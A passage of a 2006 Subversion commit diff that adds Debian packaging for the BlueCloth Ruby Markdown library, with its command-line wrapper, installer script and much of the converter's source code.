+PARTICULAR PURPOSE.  See the GNU General Public License for more details.
+
+
+  [1]: http://daringfireball.net/projects/markdown/
+  [2]: http://www.whytheluckystiff.net/ruby/redcloth/
+  [3]: http://www.whytheluckystiff.net/
+  [4]: http://www.textism.com/tools/textile/
+
+
+$Id: README 65 2004-08-24 14:56:47Z ged $  
+$URL: svn+ssh://svn.FaerieMUD.org/usr/local/svn/BlueCloth/trunk/README $

Added: packages/libbluecloth-ruby/trunk/bin/bluecloth
===================================================================
--- packages/libbluecloth-ruby/trunk/bin/bluecloth	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/bin/bluecloth	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,83 @@
+#!/usr/bin/ruby
+#
+# = bluecloth
+#
+# Format one or more text files with the markdown formatter.
+#
+# = Synopsis
+#
+#   bluecloth [OPTIONS] [FILES]
+#
+# 
+#
+
+BEGIN {
+	require 'bluecloth'
+	require 'optparse'
+}
+
+DocumentWrapper = %{
+<html>
+  <head><title>%s</title></head>
+  <body>
+%s
+  </body>
+</html>
+}
+
+def main
+	fragment = false
+	destination = '.'
+
+	ARGV.options do |oparser|
+
+		oparser.banner = "Usage: #$0 [OPTIONS] FILES"
+
+		# Debug mode
+		oparser.on( "--debug", "-d", TrueClass, "Turn debugging output on" ) {
+			$DEBUG = true
+		}
+
+		# 'Fragment' mode
+		oparser.on( "--fragment", "-f", TrueClass,
+			"Output HTML fragments instead of whole documents" ) {
+			fragment = true
+		}
+
+		# Output destination
+		#oparser.on( "--output=DESTINATION", "-o DESTINATION", String,
+		#	"Write output to DESTINATION instead of the current directory" ) {|arg|
+		#	destination = arg
+		#}
+
+		oparser.parse!
+	end
+
+	# Filter mode if no arguments
+	ARGV.push( "-" ) if ARGV.empty?
+
+	ARGV.each {|file|
+		if file == '-'
+			contents = $stdin.readlines(nil)
+		else
+			contents = File::readlines( file, nil )
+		end
+
+		bc = BlueCloth::new( contents.join )
+
+		if fragment
+			$stdout.puts bc.to_html
+		else
+			$stdout.puts DocumentWrapper % [ file, bc.to_html ]
+		end
+	}
+
+rescue => err
+	$stderr.puts "Aborting: Fatal error: %s" % err.message
+	exit 255
+end
+
+
+
+main
+


Property changes on: packages/libbluecloth-ruby/trunk/bin/bluecloth
___________________________________________________________________
Name: svn:executable
   + 

Added: packages/libbluecloth-ruby/trunk/debian/changelog
===================================================================
--- packages/libbluecloth-ruby/trunk/debian/changelog	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/debian/changelog	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,6 @@
+libbluecloth-ruby (1.0.0-1) unstable; urgency=low
+
+  * Initial debian package
+
+ -- Arnaud Cornet <arnaud.cornet at gmail.com>  Fri, 12 May 2006 00:39:36 +0200
+

Added: packages/libbluecloth-ruby/trunk/debian/compat
===================================================================
--- packages/libbluecloth-ruby/trunk/debian/compat	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/debian/compat	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1 @@
+5

Added: packages/libbluecloth-ruby/trunk/debian/control
===================================================================
--- packages/libbluecloth-ruby/trunk/debian/control	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/debian/control	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,29 @@
+Source: libbluecloth-ruby
+Section: interpreters
+Priority: optional
+Maintainer: Arnaud Cornet <arnaud.cornet at gmail.com>
+Build-Depends-Indep: ruby-pkg-tools (>= 0.8), cdbs, debhelper (>= 4.0.0), ruby
+Standards-Version: 3.6.2
+
+Package: libbluecloth-ruby
+Architecture: all
+Depends: libbluecloth-ruby1.8
+Description: A Ruby implementation of Markdown.
+  BlueCloth is a Ruby implementation of Markdown, a text-to-HTML conversion
+  tool for web writers. Markdown allows you to write using an easy-to-read,
+  easy-to-write plain text format, then convert it to structurally valid XHTML
+  (or HTML).
+  .
+  This package is part of the Ruby library extras, a supplement to Ruby's
+  standard library.
+  .
+
+Package: libbluecloth-ruby1.8
+Architecture: all
+Depends: ruby1.8
+Description: A Ruby implementation of Markdown.
+  BlueCloth is a Ruby implementation of Markdown, a text-to-HTML conversion
+  tool for web writers. Markdown allows you to write using an easy-to-read,
+  easy-to-write plain text format, then convert it to structurally valid XHTML
+  (or HTML).
+

Added: packages/libbluecloth-ruby/trunk/debian/control.in
===================================================================
--- packages/libbluecloth-ruby/trunk/debian/control.in	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/debian/control.in	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,29 @@
+Source: libbluecloth-ruby
+Section: interpreters
+Priority: optional
+Maintainer: Arnaud Cornet <arnaud.cornet at gmail.com>
+Build-Depends-Indep: ruby-pkg-tools (>= 0.8), cdbs, debhelper (>= 4.0.0), ruby
+Standards-Version: 3.6.2
+
+Package: libbluecloth-ruby
+Architecture: all
+Depends: libbluecloth-ruby1.8
+Description: A Ruby implementation of Markdown.
+  BlueCloth is a Ruby implementation of Markdown, a text-to-HTML conversion
+  tool for web writers. Markdown allows you to write using an easy-to-read,
+  easy-to-write plain text format, then convert it to structurally valid XHTML
+  (or HTML).
+  .
+  This package is part of the Ruby library extras, a supplement to Ruby's
+  standard library.
+  .
+
+Package: libbluecloth-ruby1.8
+Architecture: all
+Depends: ruby1.8
+Description: A Ruby implementation of Markdown.
+  BlueCloth is a Ruby implementation of Markdown, a text-to-HTML conversion
+  tool for web writers. Markdown allows you to write using an easy-to-read,
+  easy-to-write plain text format, then convert it to structurally valid XHTML
+  (or HTML).
+

Added: packages/libbluecloth-ruby/trunk/debian/copyright
===================================================================
--- packages/libbluecloth-ruby/trunk/debian/copyright	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/debian/copyright	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,19 @@
+This package was debianized by Arnaud Cornet <arnaud.cornet at gmail.com> on
+Fri, 12 May 2006 00:15:34 +0200.
+
+It was downloaded from http://www.deveiate.org/projects/BlueCloth
+
+Upstream Author: Michael Granger
+
+License:
+
+BlueCloth is distributed under the GPL.
+
+On Debian systems, the full text of the GNU General Public License can be
+found at /usr/share/common-licenses/GPL.
+
+The install.rb file included in the package's source is released under the Perl
+Artistic license:
+
+On Debian systems, the full text of the Perl Artistic license can be
+found at /usr/share/common-licenses/Artistic.

Added: packages/libbluecloth-ruby/trunk/debian/libbluecloth-ruby1.8.install
===================================================================
--- packages/libbluecloth-ruby/trunk/debian/libbluecloth-ruby1.8.install	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/debian/libbluecloth-ruby1.8.install	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1 @@
+lib/bluecloth.rb usr/lib/ruby/1.8/

Added: packages/libbluecloth-ruby/trunk/debian/rules
===================================================================
--- packages/libbluecloth-ruby/trunk/debian/rules	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/debian/rules	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,4 @@
+#!/usr/bin/make -f
+
+include /usr/share/cdbs/1/rules/debhelper.mk
+include /usr/share/ruby-pkg-tools/1/rules/uploaders.mk


Property changes on: packages/libbluecloth-ruby/trunk/debian/rules
___________________________________________________________________
Name: svn:executable
   + 

Added: packages/libbluecloth-ruby/trunk/debian/watch
===================================================================
--- packages/libbluecloth-ruby/trunk/debian/watch	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/debian/watch	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,2 @@
+version=3
+http://www.deveiate.org/projects/BlueCloth BlueCloth-(.*)\.tar\.*

Added: packages/libbluecloth-ruby/trunk/install.rb
===================================================================
--- packages/libbluecloth-ruby/trunk/install.rb	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/install.rb	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,150 @@
+#!/usr/bin/ruby
+#
+#	BlueCloth Module Install Script
+#	$Id: install.rb,v 1.3 2003/10/09 13:23:09 deveiant Exp $
+#
+#	Thanks to Masatoshi SEKI for ideas found in his install.rb.
+#
+#	Copyright (c) 2001-2004 The FaerieMUD Consortium.
+#
+#	This is free software. You may use, modify, and/or redistribute this
+#	software under the terms of the Perl Artistic License. (See
+#	http://language.perl.com/misc/Artistic.html)
+#
+
+require './utils.rb'
+include UtilityFunctions
+
+require 'rbconfig'
+include Config
+
+require 'find'
+require 'ftools'
+
+
+$version	= %q$Revision: 1.3 $
+$rcsId		= %q$Id: install.rb,v 1.3 2003/10/09 13:23:09 deveiant Exp $
+
+# Define required libraries
+RequiredLibraries = [
+	# libraryname, nice name, RAA URL, Download URL
+	[ 'strscan', "StrScan", 
+		'http://raa.ruby-lang.org/list.rhtml?name=strscan',
+		'http://i.loveruby.net/archive/strscan/strscan-0.6.7.tar.gz' ],
+	[ 'logger', "Devel-Logger", 
+		'http://raa.ruby-lang.org/list.rhtml?name=devel-logger',
+		'http://rrr.jin.gr.jp/download/devel-logger-1_2_2.tar.gz' ],
+]
+
+class Installer
+
+	@@PrunePatterns = [
+		/CVS/,
+		/~$/,
+		%r:(^|/)\.:,
+		/\.tpl$/,
+	]
+
+	def initialize( testing=false )
+		@ftools = (testing) ? self : File
+	end
+
+	### Make the specified dirs (which can be a String or an Array of Strings)
+	### with the specified mode.
+	def makedirs( dirs, mode=0755, verbose=false )
+		dirs = [ dirs ] unless dirs.is_a? Array
+
+		oldumask = File::umask
+		File::umask( 0777 - mode )
+
+		for dir in dirs
+			if @ftools == File
+				File::mkpath( dir, $verbose )
+			else
+				$stderr.puts "Make path %s with mode %o" % [ dir, mode ]
+			end
+		end
+
+		File::umask( oldumask )
+	end
+
+	def install( srcfile, dstfile, mode=nil, verbose=false )
+		dstfile = File.catname(srcfile, dstfile)
+		unless FileTest.exist? dstfile and File.cmp srcfile, dstfile
+			$stderr.puts "   install #{srcfile} -> #{dstfile}"
+		else
+			$stderr.puts "   skipping #{dstfile}: unchanged"
+		end
+	end
+
+	public
+
+	def installFiles( src, dstDir, mode=0444, verbose=false )
+		directories = []
+		files = []
+		
+		if File.directory?( src )
+			Find.find( src ) {|f|
+				Find.prune if @@PrunePatterns.find {|pat| f =~ pat}
+				next if f == src
+
+				if FileTest.directory?( f )
+					directories << f.gsub( /^#{src}#{File::Separator}/, '' )
+					next 
+
+				elsif FileTest.file?( f )
+					files << f.gsub( /^#{src}#{File::Separator}/, '' )
+
+				else
+					Find.prune
+				end
+			}
+		else
+			files << File.basename( src )
+			src = File.dirname( src )
+		end
+		
+		dirs = [ dstDir ]
+		dirs |= directories.collect {|d| File.join(dstDir,d)}
+		makedirs( dirs, 0755, verbose )
+		files.each {|f|
+			srcfile = File.join(src,f)
+			dstfile = File.dirname(File.join( dstDir,f ))
+
+			if verbose
+				if mode
+					$stderr.puts "Install #{srcfile} -> #{dstfile} (mode %o)" % mode
+				else
+					$stderr.puts "Install #{srcfile} -> #{dstfile}"
+				end
+			end
+
+			@ftools.install( srcfile, dstfile, mode, verbose )
+		}
+	end
+
+end
+
+if $0 == __FILE__
+	header "BlueCloth Installer #$version"
+
+	for lib in RequiredLibraries
+		testForRequiredLibrary( *lib )
+	end
+
+	viewOnly = ARGV.include? '-n'
+	verbose = ARGV.include? '-v'
+
+	debugMsg "Sitelibdir = '#{CONFIG['sitelibdir']}'"
+	sitelibdir = CONFIG['sitelibdir']
+	debugMsg "Sitearchdir = '#{CONFIG['sitearchdir']}'"
+	sitearchdir = CONFIG['sitearchdir']
+
+	message "Installing\n"
+	i = Installer.new( viewOnly )
+	i.installFiles( "lib", sitelibdir, 0444, verbose )
+end
+	
+
+
+


Property changes on: packages/libbluecloth-ruby/trunk/install.rb
___________________________________________________________________
Name: svn:executable
   + 

Added: packages/libbluecloth-ruby/trunk/lib/bluecloth.rb
===================================================================
--- packages/libbluecloth-ruby/trunk/lib/bluecloth.rb	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/lib/bluecloth.rb	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,1144 @@
+#!/usr/bin/ruby
+# 
+# Bluecloth is a Ruby implementation of Markdown, a text-to-HTML conversion
+# tool.
+# 
+# == Synopsis
+# 
+#   doc = BlueCloth::new "
+#     ## Test document ##
+#
+#     Just a simple test.
+#   "
+#
+#   puts doc.to_html
+# 
+# == Authors
+# 
+# * Michael Granger <ged at FaerieMUD.org>
+# 
+# == Contributors
+#
+# * Martin Chase <stillflame at FaerieMUD.org> - Peer review, helpful suggestions
+# * Florian Gross <flgr at ccan.de> - Filter options, suggestions
+#
+# == Copyright
+#
+# Original version:
+#   Copyright (c) 2003-2004 John Gruber
+#   <http://daringfireball.net/>  
+#   All rights reserved.
+#
+# Ruby port:
+#   Copyright (c) 2004 The FaerieMUD Consortium.
+# 
+# BlueCloth is free software; you can redistribute it and/or modify it under the
+# terms of the GNU General Public License as published by the Free Software
+# Foundation; either version 2 of the License, or (at your option) any later
+# version.
+# 
+# BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY
+# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
+# A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
+# 
+# == To-do
+#
+# * Refactor some of the larger uglier methods that have to do their own
+#   brute-force scanning because of lack of Perl features in Ruby's Regexp
+#   class. Alternately, could add a dependency on 'pcre' and use most Perl
+#   regexps.
+#
+# * Put the StringScanner in the render state for thread-safety.
+#
+# == Version
+#
+#  $Id: bluecloth.rb 69 2004-08-25 05:27:15Z ged $
+# 
+
+require 'digest/md5'
+require 'logger'
+require 'strscan'
+
+
+### BlueCloth is a Ruby implementation of Markdown, a text-to-HTML conversion
+### tool.
+class BlueCloth < String
+
+	### Exception class for formatting errors.
+	class FormatError < RuntimeError
+
+		### Create a new FormatError with the given source +str+ and an optional
+		### message about the +specific+ error.
+		def initialize( str, specific=nil )
+			if specific
+				msg = "Bad markdown format near %p: %s" % [ str, specific ]
+			else
+				msg = "Bad markdown format near %p" % str
+			end
+
+			super( msg )
+		end
+	end
+
+
+	# Release Version
+	Version = '0.0.3'
+
+	# SVN Revision
+	SvnRev = %q$Rev: 69 $
+
+	# SVN Id tag
+	SvnId = %q$Id: bluecloth.rb 69 2004-08-25 05:27:15Z ged $
+
+	# SVN URL
+	SvnUrl = %q$URL: svn+ssh://svn.faeriemud.org/usr/local/svn/BlueCloth/trunk/lib/bluecloth.rb $
+
+
+	# Rendering state struct. Keeps track of URLs, titles, and HTML blocks
+	# midway through a render. I prefer this to the globals of the Perl version
+	# because globals make me break out in hives. Or something.
+	RenderState = Struct::new( "RenderState", :urls, :titles, :html_blocks, :log )
+
+	# Tab width for #detab! if none is specified
+	TabWidth = 4
+
+	# The tag-closing string -- set to '>' for HTML
+	EmptyElementSuffix = "/>";
+
+	# Table of MD5 sums for escaped characters
+	EscapeTable = {}
+	'\\`*_{}[]()#.!'.split(//).each {|char|
+		hash = Digest::MD5::hexdigest( char )
+
+		EscapeTable[ char ] = {
+ 			:md5 => hash,
+			:md5re => Regexp::new( hash ),
+			:re  => Regexp::new( '\\\\' + Regexp::escape(char) ),
+		}
+	}
+
+
+	#################################################################
+	###	I N S T A N C E   M E T H O D S
+	#################################################################
+
+	### Create a new BlueCloth string.
+	def initialize( content="", *restrictions )
+		@log = Logger::new( $deferr )
+		@log.level = $DEBUG ?
+			Logger::DEBUG :
+			($VERBOSE ? Logger::INFO : Logger::WARN)
+		@scanner = nil
+
+		# Add any restrictions, and set the line-folding attribute to reflect
+		# what happens by default.
+		@filter_html = nil
+		@filter_styles = nil
+		restrictions.flatten.each {|r| __send__("#{r}=", true) }
+		@fold_lines = true
+
+		super( content )
+
+		@log.debug "String is: %p" % self
+	end
+
+
+	######
+	public
+	######
+
+	# Filters for controlling what gets output for untrusted input. (But really,
+	# you're filtering bad stuff out of untrusted input at submission-time via
+	# untainting, aren't you?)
+	attr_accessor :filter_html, :filter_styles
+
+	# RedCloth-compatibility accessor. Line-folding is part of Markdown syntax,
+	# so this isn't used by anything.
+	attr_accessor :fold_lines
+
+
+	### Render Markdown-formatted text in this string object as HTML and return
+	### it. The parameter is for compatibility with RedCloth, and is currently
+	### unused, though that may change in the future.
+	def to_html( lite=false )
+
+		# Create a StringScanner we can reuse for various lexing tasks
+		@scanner = StringScanner::new( '' )
+
+		# Make a structure to carry around stuff that gets placeholdered out of
+		# the source.
+		rs = RenderState::new( {}, {}, {} )
+
+		# Make a copy of the string with normalized line endings, tabs turned to
+		# spaces, and a couple of guaranteed newlines at the end
+		text = self.gsub( /\r\n?/, "\n" ).detab
+		text += "\n\n"
+		@log.debug "Normalized line-endings: %p" % text
+
+		# Filter HTML if we're asked to do so
+		if self.filter_html
+			text.gsub!( "<", "&lt;" )
+			text.gsub!( ">", "&gt;" )
+			@log.debug "Filtered HTML: %p" % text
+		end
+
+		# Simplify blank lines
+		text.gsub!( /^ +$/, '' )
+		@log.debug "Tabs -> spaces/blank lines stripped: %p" % text
+
+		# Replace HTML blocks with placeholders
+		text = hide_html_blocks( text, rs )
+		@log.debug "Hid HTML blocks: %p" % text
+		@log.debug "Render state: %p" % rs
+
+		# Strip link definitions, store in render state
+		text = strip_link_definitions( text, rs )
+		@log.debug "Stripped link definitions: %p" % text
+		@log.debug "Render state: %p" % rs
+
+		# Escape meta-characters
+		text = escape_special_chars( text )
+		@log.debug "Escaped special characters: %p" % text
+
+		# Transform block-level constructs
+		text = apply_block_transforms( text, rs )
+		@log.debug "After block-level transforms: %p" % text
+
+		# Now swap back in all the escaped characters
+		text = unescape_special_chars( text )
+		@log.debug "After unescaping special characters: %p" % text
+
+		return text
+	end
+	
+
+	### Convert tabs in +str+ to spaces.
+	def detab( tabwidth=TabWidth )
+		copy = self.dup
+		copy.detab!( tabwidth )
+		return copy
+	end
+
+
+	### Convert tabs to spaces in place and return self if any were converted.
+	def detab!( tabwidth=TabWidth )
+		newstr = self.split( /\n/ ).collect {|line|
+			line.gsub( /(.*?)\t/ ) do
+				$1 + ' ' * (tabwidth - $1.length % tabwidth)
+			end
+		}.join("\n")
+		self.replace( newstr )
+	end
+
+
+	#######
+	#private
+	#######
+
+	### Do block-level transforms on a copy of +str+ using the specified render
+	### state +rs+ and return the results.
+	def apply_block_transforms( str, rs )
+		# Port: This was called '_runBlockGamut' in the original
+
+		@log.debug "Applying block transforms to:\n  %p" % str
+		text = transform_headers( str, rs )
+		text = transform_hrules( text, rs )
+		text = transform_lists( text, rs )
+		text = transform_code_blocks( text, rs )
+		text = transform_block_quotes( text, rs )
+		text = transform_auto_links( text, rs )
+		text = hide_html_blocks( text, rs )
+
+		text = form_paragraphs( text, rs )
+
+		@log.debug "Done with block transforms:\n  %p" % text
+		return text
+	end
+
+
+	### Apply Markdown span transforms to a copy of the specified +str+ with the
+	### given render state +rs+ and return it.
+	def apply_span_transforms( str, rs )
+		@log.debug "Applying span transforms to:\n  %p" % str
+
+		str = transform_code_spans( str, rs )
+		str = encode_html( str )
+		str = transform_images( str, rs )
+		str = transform_anchors( str, rs )
+		str = transform_italic_and_bold( str, rs )
+
+		# Hard breaks
+		str.gsub!( / {2,}\n/, "<br#{EmptyElementSuffix}\n" )
+
+		@log.debug "Done with span transforms:\n  %p" % str
+		return str
+	end
+
+
+	# The list of tags which are considered block-level constructs and an
+	# alternation pattern suitable for use in regexps made from the list
+	StrictBlockTags = %w[ p div h[1-6] blockquote pre table dl ol ul script noscript
+		form fieldset iframe math ins del ]
+	StrictTagPattern = StrictBlockTags.join('|')
+
+	LooseBlockTags = StrictBlockTags - %w[ins del]
+	LooseTagPattern = LooseBlockTags.join('|')
+
+	# Nested blocks:
+	# 	<div>
+	# 		<div>
+	# 		tags for inner block must be indented.
+	# 		</div>
+	# 	</div>
+	StrictBlockRegex = %r{
+		^						# Start of line
+		<(#{StrictTagPattern})	# Start tag: \2
+		\b						# word break
+		(.*\n)*?				# Any number of lines, minimal match
+		</\1>					# Matching end tag
+		[ ]*					# trailing spaces
+		$						# End of line or document
+	  }ix
+
+	# More-liberal block-matching
+	LooseBlockRegex = %r{
+		^						# Start of line
+		<(#{LooseTagPattern})	# start tag: \2
+		\b						# word break
+		(.*\n)*?				# Any number of lines, minimal match
+		.*</\1>					# Anything + Matching end tag
+		[ ]*					# trailing spaces
+		$						# End of line or document
+	  }ix
+
+	# Special case for <hr />.
+	HruleBlockRegex = %r{
+		(						# $1
+			\A\n?				# Start of doc + optional \n
+			|					# or
+			.*\n\n				# anything + blank line
+		)
+		(						# save in $2
+			[ ]*				# Any spaces
+			<hr					# Tag open
+			\b					# Word break
+			([^<>])*?			# Attributes
+			/?>					# Tag close
+			$					# followed by a blank line or end of document
+		)
+	  }ix
+
+	### Replace all blocks of HTML in +str+ that start in the left margin with
+	### tokens.
+	def hide_html_blocks( str, rs )
+		@log.debug "Hiding HTML blocks in %p" % str
+		
+		# Tokenizer proc to pass to gsub
+		tokenize = lambda {|match|
+			key = Digest::MD5::hexdigest( match )
+			rs.html_blocks[ key ] = match
+			@log.debug "Replacing %p with %p" % [ match, key ]
+			"\n\n#{key}\n\n"
+		}
+
+		rval = str.dup
+
+		@log.debug "Finding blocks with the strict regex..."
+		rval.gsub!( StrictBlockRegex, &tokenize )
+
+		@log.debug "Finding blocks with the loose regex..."
+		rval.gsub!( LooseBlockRegex, &tokenize )
+
+		@log.debug "Finding hrules..."
+		rval.gsub!( HruleBlockRegex ) {|match| $1 + tokenize[$2] }
+
+		return rval
+	end
+
+
+	# Link defs are in the form: ^[id]: url "optional title"
+	LinkRegex = %r{
+		^[ ]*\[(.+)\]:		# id = $1
+		  [ ]*
+		  \n?				# maybe *one* newline
+		  [ ]*
+		<?(\S+?)>?				# url = $2
+		  [ ]*
+		  \n?				# maybe one newline
+		  [ ]*
+		(?:
+			# Titles are delimited by "quotes" or (parens).
+			["(]
+			(.+?)			# title = $3
+			[")]			# Matching ) or "
+			[ ]*
+		)?	# title is optional
+		(?:\n+|\Z)
+	  }x
+
+	### Strip link definitions from +str+, storing them in the given RenderState
+	### +rs+.
+	def strip_link_definitions( str, rs )
+		str.gsub( LinkRegex ) {|match|
+			id, url, title = $1, $2, $3
+
+			rs.urls[ id.downcase ] = encode_html( url )
+			unless title.nil?
+				rs.titles[ id.downcase ] = title.gsub( /"/, "&quot;" )
+			end
+			""
+		}
+	end
+
+
+	### Escape special characters in the given +str+
+	def escape_special_chars( str )
+		@log.debug "  Escaping special characters"
+		text = ''
+
+		# The original Markdown source has something called '$tags_to_skip'
+		# declared here, but it's never used, so I don't define it.
+
+		tokenize_html( str ) {|token, str|
+			@log.debug "   Adding %p token %p" % [ token, str ]
+			case token
+
+			# Within tags, encode * and _
+			when :tag
+				text += str.
+					gsub( /\*/, EscapeTable['*'][:md5] ).
+					gsub( /_/, EscapeTable['_'][:md5] )
+
+			# Encode backslashed stuff in regular text
+			when :text
+				text += encode_backslash_escapes( str )
+			else
+				raise TypeError, "Unknown token type %p" % token
+			end
+		}
+
+		@log.debug "  Text with escapes is now: %p" % text
+		return text
+	end
+
+
+	### Swap escaped special characters in a copy of the given +str+ and return
+	### it.
+	def unescape_special_chars( str )
+		EscapeTable.each {|char, hash|
+			@log.debug "Unescaping escaped %p with %p" % [ char, hash[:md5re] ]
+			str.gsub!( hash[:md5re], char )
+		}
+
+		return str
+	end
+
+
+	### Return a copy of the given +str+ with any backslashed special character
+	### in it replaced with MD5 placeholders.
+	def encode_backslash_escapes( str )
+		# Make a copy with any double-escaped backslashes encoded
+		text = str.gsub( /\\\\/, EscapeTable['\\'][:md5] )
+		
+		EscapeTable.each_pair {|char, esc|
+			next if char == '\\'
+			text.gsub!( esc[:re], esc[:md5] )
+		}
+
+		return text
+	end
+
+
+	### Transform any Markdown-style horizontal rules in a copy of the specified
+	### +str+ and return it.
+	def transform_hrules( str, rs )
+		@log.debug " Transforming horizontal rules"
+		str.gsub( /^( ?[\-\*_] ?){3,}$/, "\n<hr#{EmptyElementSuffix}\n" )
+	end
+
+
+
+	# Patterns to match and transform lists
+	ListMarkerOl = %r{\d+\.}
+	ListMarkerUl = %r{[*+-]}
+	ListMarkerAny = Regexp::union( ListMarkerOl, ListMarkerUl )
+
+	ListRegexp = %r{
+		  (?:
+			^[ ]{0,#{TabWidth - 1}}		# Indent < tab width
+			(#{ListMarkerAny})			# unordered or ordered ($1)
+			[ ]+						# At least one space
+		  )
+		  (?m:.+?)						# item content (include newlines)
+		  (?:
+			  \z						# Either EOF
+			|							#  or
+			  \n{2,}					# Blank line...
+			  (?=\S)					# ...followed by non-space
+			  (?![ ]*					# ...but not another item
+				(#{ListMarkerAny})
+			   [ ]+)
+		  )
+	  }x
+
+	### Transform Markdown-style lists in a copy of the specified +str+ and
+	### return it.
+	def transform_lists( str, rs )
+		@log.debug " Transforming lists at %p" % (str[0,100] + '...')
+
+		str.gsub( ListRegexp ) {|list|
+			@log.debug "  Found list %p" % list
+			bullet = $1
+			list_type = (ListMarkerUl.match(bullet) ? "ul" : "ol")
+			list.gsub!( /\n{2,}/, "\n\n\n" )
+
+			%{<%s>\n%s</%s>\n} % [
+				list_type,
+				transform_list_items( list, rs ),
+				list_type,
+			]
+		}
+	end
+
+
+	# Pattern for transforming list items
+	ListItemRegexp = %r{
+		(\n)?							# leading line = $1
+		(^[ ]*)							# leading whitespace = $2
+		(#{ListMarkerAny}) [ ]+			# list marker = $3
+		((?m:.+?)						# list item text   = $4
+		(\n{1,2}))
+		(?= \n* (\z | \2 (#{ListMarkerAny}) [ ]+))
+	  }x
+
+	### Transform list items in a copy of the given +str+ and return it.
+	def transform_list_items( str, rs )
+		@log.debug " Transforming list items"
+
+		# Trim trailing blank lines
+		str = str.sub( /\n{2,}\z/, "\n" )
+
+		str.gsub( ListItemRegexp ) {|line|
+			@log.debug "  Found item line %p" % line
+			leading_line, item = $1, $4
+
+			if leading_line or /\n{2,}/.match( item )
+				@log.debug "   Found leading line or item has a blank"
+				item = apply_block_transforms( outdent(item), rs )
+			else
+				# Recursion for sub-lists
+				@log.debug "   Recursing for sublist"
+				item = transform_lists( outdent(item), rs ).chomp
+				item = apply_span_transforms( item, rs )
+			end
+
+			%{<li>%s</li>\n} % item
+		}
+	end
+
+
+	# Pattern for matching codeblocks
+	CodeBlockRegexp = %r{
+		(?:\n\n|\A)
+		(									# $1 = the code block
+		  (?:
+			(?:[ ]{#{TabWidth}} | \t)		# a tab or tab-width of spaces
+			.*\n+
+		  )+
+		)
+		(^[ ]{0,#{TabWidth - 1}}\S|\Z)		# Lookahead for non-space at
+											# line-start, or end of doc
+	  }x
+
+	### Transform Markdown-style codeblocks in a copy of the specified +str+ and
+	### return it.
+	def transform_code_blocks( str, rs )
+		@log.debug " Transforming code blocks"
+
+		str.gsub( CodeBlockRegexp ) {|block|
+			codeblock = $1
+			remainder = $2
+
+			# Generate the codeblock
+			%{\n\n<pre><code>%s\n</code></pre>\n\n%s} %
+				[ encode_code( outdent(codeblock), rs ).rstrip, remainder ]
+		}
+	end
+
+
+	# Pattern for matching Markdown blockquote blocks
+	BlockQuoteRegexp = %r{
+		  (?:
+			^[ ]*>[ ]?		# '>' at the start of a line
+			  .+\n			# rest of the first line
+			(?:.+\n)*		# subsequent consecutive lines
+			\n*				# blanks
+		  )+
+	  }x
+	PreChunk = %r{ ( ^ \s* <pre> .+? </pre> ) }xm
+
+	### Transform Markdown-style blockquotes in a copy of the specified +str+
+	### and return it.
+	def transform_block_quotes( str, rs )
+		@log.debug " Transforming block quotes"
+
+		str.gsub( BlockQuoteRegexp ) {|quote|
+			@log.debug "Making blockquote from %p" % quote
+
+			quote.gsub!( /^ *> ?/, '' ) # Trim one level of quoting 
+			quote.gsub!( /^ +$/, '' )	# Trim whitespace-only lines
+
+			indent = " " * TabWidth
+			quoted = %{<blockquote>\n%s\n</blockquote>\n\n} %
+				apply_block_transforms( quote, rs ).
+				gsub( /^/, indent ).
+				gsub( PreChunk ) {|m| m.gsub(/^#{indent}/o, '') }
+			@log.debug "Blockquoted chunk is: %p" % quoted
+			quoted
+		}
+	end
+
+
+	AutoAnchorURLRegexp = /<((https?|ftp):[^'">\s]+)>/
+	AutoAnchorEmailRegexp = %r{
+		<
+		(
+			[-.\w]+
+			\@
+			[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+
+		)
+		>
+	  }xi
+
+	### Transform URLs in a copy of the specified +str+ into links and return
+	### it.
+	def transform_auto_links( str, rs )
+		@log.debug " Transforming auto-links"
+		str.gsub( AutoAnchorURLRegexp, %{<a href="\\1">\\1</a>}).
+			gsub( AutoAnchorEmailRegexp ) {|addr|
+			encode_email_address( unescape_special_chars($1) )
+		}
+	end
+
+
+	# Encoder functions to turn characters of an email address into encoded
+	# entities.
+	Encoders = [
+		lambda {|char| "&#%03d;" % char},
+		lambda {|char| "&#x%X;" % char},
+		lambda {|char| char.chr },
+	]
+
+	### Transform a copy of the given email +addr+ into an escaped version safer
+	### for posting publicly.
+	def encode_email_address( addr )
+
+		rval = ''
+		("mailto:" + addr).each_byte {|b|
+			case b
+			when ?:
+				rval += ":"
+			when ?@
+				rval += Encoders[ rand(2) ][ b ]
+			else
+				r = rand(100)
+				rval += (
+					r > 90 ? Encoders[2][ b ] :
+					r < 45 ? Encoders[1][ b ] :
+							 Encoders[0][ b ]
+				)
+			end
+		}
+
+		return %{<a href="%s">%s</a>} % [ rval, rval.sub(/.+?:/, '') ]
+	end
+
+
